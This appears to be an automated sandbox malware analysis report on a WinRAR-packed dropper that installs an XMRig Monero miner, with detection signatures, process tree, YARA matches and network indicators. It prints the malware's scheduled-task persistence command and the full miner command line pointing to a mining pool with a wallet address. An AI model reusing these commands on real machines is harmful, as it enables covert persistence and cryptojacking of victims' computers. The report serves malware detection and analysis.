Edit tour

Windows Analysis Report
FTrondtloadws.exe

Overview

General Information

Sample Name:	FTrondtloadws.exe
Analysis ID:	862600
MD5:	7fc09e90a6b01b4e45dfb74a398ab841
SHA1:	54100dba7c005481041743622794bbe7e2aabb63
SHA256:	fba557d1ea30dc5810637b80408cc8d6491f33e5cb4def703f2b3413d476d93d
Tags:	exe
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Xmrig cryptocurrency miner

Multi AV Scanner detection for dropped file

Sigma detected: Xmrig

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Found strings related to Crypto-Mining

Query firmware table information (likely to detect VMs)

Detected Stratum mining protocol

Tries to detect debuggers (CloseHandle check)

Machine Learning detection for sample

.NET source code contains potential unpacker

Tries to evade analysis by execution special instruction (VM detection)

Connects to a pastebin service (likely for C&C)

Sample uses string decryption to hide its real strings

Uses schtasks.exe or at.exe to add and modify task schedules

Hides threads from debuggers

Detected VMProtect packer

Changes security center settings (notifications, updates, antivirus, firewall)

Uses ping.exe to check the status of other devices and networks

Machine Learning detection for dropped file

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Checks if the current process is being debugged

Binary contains a suspicious time stamp

PE file contains more sections than normal

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

File is packed with WinRar

Detected TCP or UDP traffic on non-standard ports

Queries disk information (often used to detect virtual machines)

Classification

Process Tree

System is w10x64

FTrondtloadws.exe (PID: 6312 cmdline: C:\Users\user\Desktop\FTrondtloadws.exe MD5: 7FC09E90A6B01B4E45DFB74A398AB841)

FTrondtloadw.exe (PID: 1216 cmdline: "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe" MD5: F676ED0F75E61843B7C767569119C32D)

cmd.exe (PID: 5308 cmdline: C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chcp.com (PID: 5188 cmdline: chcp 65001 MD5: 561054CF9C4B2897E80D7E7D9027FED9)

PING.EXE (PID: 5204 cmdline: ping 127.0.0.1 MD5: 70C24A306F768936563ABDADB9CA9108)

schtasks.exe (PID: 6524 cmdline: schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f MD5: 15FF7D8324231381BAD48A052F85DF04)

FTrondtloadw.exe (PID: 6520 cmdline: "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" MD5: F676ED0F75E61843B7C767569119C32D)

user_707748.exe (PID: 2820 cmdline: "C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1 MD5: 14F04F5932BC851ACF217A147AFB018A)

FTrondtloadw.exe (PID: 4468 cmdline: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe MD5: F676ED0F75E61843B7C767569119C32D)

svchost.exe (PID: 6924 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4296 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6652 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1832 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2464 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6320 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 5244 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6512 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 6932 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 1340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6544 cmdline: c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\user_707748.exe	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000003.352114997.000000000A8A8000.00000004.00000020.00020000.00000000.sdmp	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0xdde2:$s03: -o pool. 0xdf6a:$s03: -o pool. 0xe402:$s03: -o pool.
00000007.00000003.352114997.000000000A8A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.519323790.0000000002CAA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.523860741.000000000ACC0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.289007725.0000020E6E8BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.352389386.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0x26ae2:$s03: -o pool.
00000009.00000003.289082149.0000020E6E8BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.352013560.000000000A89F000.00000004.00000020.00020000.00000000.sdmp	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0x16de2:$s03: -o pool. 0x16f6a:$s03: -o pool. 0x17402:$s03: -o pool.
00000007.00000003.352013560.000000000A89F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000002.518686097.0000020E6E842000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000000.273809072.00007FF6F9135000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000002.519048378.0000020E700A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.352465042.000000000A8B5000.00000004.00000020.00020000.00000000.sdmp	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0xde2:$s03: -o pool. 0xf6a:$s03: -o pool. 0x1402:$s03: -o pool.
00000007.00000003.352465042.000000000A8B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.519323790.0000000003066000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.523501469.000000000A7F3000.00000004.00000020.00020000.00000000.sdmp	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0x17b7b:$s03: -o pool. 0x17cb3:$s03: -o pool. 0x17deb:$s03: -o pool. 0x17f23:$s03: -o pool. 0x1805b:$s03: -o pool. 0x182cb:$s03: -o pool. 0x18403:$s03: -o pool. 0x1853b:$s03: -o pool. 0x18673:$s03: -o pool. 0x187ab:$s03: -o pool. 0x188e3:$s03: -o pool. 0x18a1b:$s03: -o pool. 0x18b53:$s03: -o pool. 0x18c8b:$s03: -o pool. 0x18dc3:$s03: -o pool. 0x192a3:$s03: -o pool.
00000007.00000002.523501469.000000000A7F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000002.519003605.0000020E6E8BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.523879518.000000000AF00000.00000004.00000020.00020000.00000000.sdmp	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0x52c22:$s03: -o pool. 0x53242:$s03: -o pool. 0x53552:$s03: -o pool. 0x536da:$s03: -o pool. 0x59582:$s03: -o pool.
00000007.00000002.523879518.000000000AF00000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000003.284452306.0000020E6E84B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000009.00000002.518469741.0000020E6E7F0000.00000004.00000020.00020000.00000000.sdmp	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0x3783:$s03: -o pool.
00000009.00000002.518469741.0000020E6E7F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.519323790.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.519323790.0000000002CAE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.523501469.000000000A819000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.519323790.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: FTrondtloadw.exe PID: 6520	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0x1710:$s03: -o pool. 0x181c:$s03: -o pool. 0x55d7:$s03: -o pool. 0xa971:$s03: -o pool. 0xaa3d:$s03: -o pool. 0xf0c0:$s03: -o pool. 0x15d93:$s03: -o pool. 0x15e9f:$s03: -o pool. 0x1e8b6:$s03: -o pool. 0x256ac:$s03: -o pool. 0x257b8:$s03: -o pool. 0x2ed11:$s03: -o pool. 0x2ee17:$s03: -o pool. 0x2ef1d:$s03: -o pool. 0x35743:$s03: -o pool. 0x35977:$s03: -o pool. 0x35a3b:$s03: -o pool. 0x4b494:$s03: -o pool. 0x4ef20:$s03: -o pool. 0x4f02c:$s03: -o pool. 0x50653:$s03: -o pool.
Process Memory Space: FTrondtloadw.exe PID: 6520	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: user_707748.exe PID: 2820	PUA_Crypto_Mining_CommandLine_Indicators_Oct21	Detects command line parameters often used by crypto mining software	Florian Roth (Nextron Systems)	0x24295:$s03: -o pool. 0x244f7:$s03: -o pool.
Process Memory Space: user_707748.exe PID: 2820	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.0.user_707748.exe.7ff6f7f60000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

Author: Joe Security: Data: Command: "C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1, CommandLine: "C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\user_707748.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\user_707748.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\user_707748.exe, ParentCommandLine: "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" , ParentImage: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe, ParentProcessId: 6520, ParentProcessName: FTrondtloadw.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1, ProcessId: 2820, ProcessName: user_707748.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen

Multi AV Scanner detection for submitted file

Source: FTrondtloadws.exe

Virustotal: Detection: 51%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	ReversingLabs: Detection: 38%

Machine Learning detection for sample

Source: FTrondtloadws.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: FTrondtloadws.exe

String decryptor: h[hBmh[hC

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 9.0.user_707748.exe.7ff6f7f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000003.352114997.000000000A8A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.519323790.0000000002CAA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.523860741.000000000ACC0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.289007725.0000020E6E8BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.289082149.0000020E6E8BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.352013560.000000000A89F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.518686097.0000020E6E842000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.273809072.00007FF6F9135000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.519048378.0000020E700A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.352465042.000000000A8B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.519323790.0000000003066000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.523501469.000000000A7F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.519003605.0000020E6E8BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.523879518.000000000AF00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.284452306.0000020E6E84B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.518469741.0000020E6E7F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.519323790.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.519323790.0000000002CAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.523501469.000000000A819000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.519323790.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FTrondtloadw.exe PID: 6520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: user_707748.exe PID: 2820, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\user_707748.exe, type: DROPPED

Found strings related to Crypto-Mining

Source: FTrondtloadw.exe, 00000007.00000003.352114997.000000000A8A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1
Source: FTrondtloadw.exe, 00000007.00000002.519323790.0000000002CAA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileDescriptionXMRig miner.

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.3:49706 -> 141.94.96.144:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"47fkbye9q42lbqjx6p2qufa2e9pwv9zutxdm8swe9bzzmtqtrseutmqmwrep6zbgregvc9dsu3groyvtvxizrddm36thvpi.user_707748","pass":"x","agent":"xmrig/6.12.1 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","cn/upx2","rx/0","rx/wow","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/wrkz","astrobwt"]}}.

Source: unknown

HTTPS traffic detected: 116.203.249.172:443 -> 192.168.2.3:49703 version: TLS 1.0

Source: FTrondtloadws.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: FTrondtloadws.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: FTrondtloadws.exe
Source:	Binary string: WaaSMedicSvc.pdb source: waasmedic.20230510_092127_600.etl.18.dr

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CCBA74 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00CCBA74
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CDD2A0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00CDD2A0
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CEC358 FindFirstFileExA,	0_2_00CEC358

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: global traffic

HTTP traffic detected: GET /pspp HTTP/1.1Host: mansepool.comConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 116.203.249.172:443 -> 192.168.2.3:49703 version: TLS 1.0

Source: Joe Sandbox View

IP Address: 185.199.108.133 185.199.108.133

Source: global traffic

TCP traffic: 192.168.2.3:49706 -> 141.94.96.144:3333

Source: user_707748.exe, 00000009.00000003.288657362.0000020E6E8AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.gloV
Source: user_707748.exe, 00000009.00000003.285750448.0000020E6E89C000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.288680873.0000020E6E89D000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285954758.0000020E6E8AB000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.288769343.0000020E6E8A2000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285821434.0000020E6E8A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: user_707748.exe, 00000009.00000003.285750448.0000020E6E89C000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285954758.0000020E6E8AB000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285821434.0000020E6E8A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl(
Source: FTrondtloadw.exe, 00000007.00000002.518058661.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285862788.0000020E6E889000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285750448.0000020E6E89C000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.288749431.0000020E6E86D000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285750448.0000020E6E888000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285954758.0000020E6E8AB000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.288657362.0000020E6E8AF000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.285821434.0000020E6E8A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: user_707748.exe, 00000009.00000003.288680873.0000020E6E89D000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000003.288769343.0000020E6E8A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crlu
Source: user_707748.exe, 00000009.00000003.289095387.0000020E6E89D000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000002.518957290.0000020E6E89F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.glos
Source: FTrondtloadw.exe, 00000001.00000002.257207314.000000000313A000.00000004.00000800.00020000.00000000.sdmp, FTrondtloadw.exe, 00000007.00000002.519323790.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: svchost.exe, 0000000E.00000002.309638359.000001DE00C13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000E.00000003.309380769.000001DE00C48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309698385.000001DE00C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
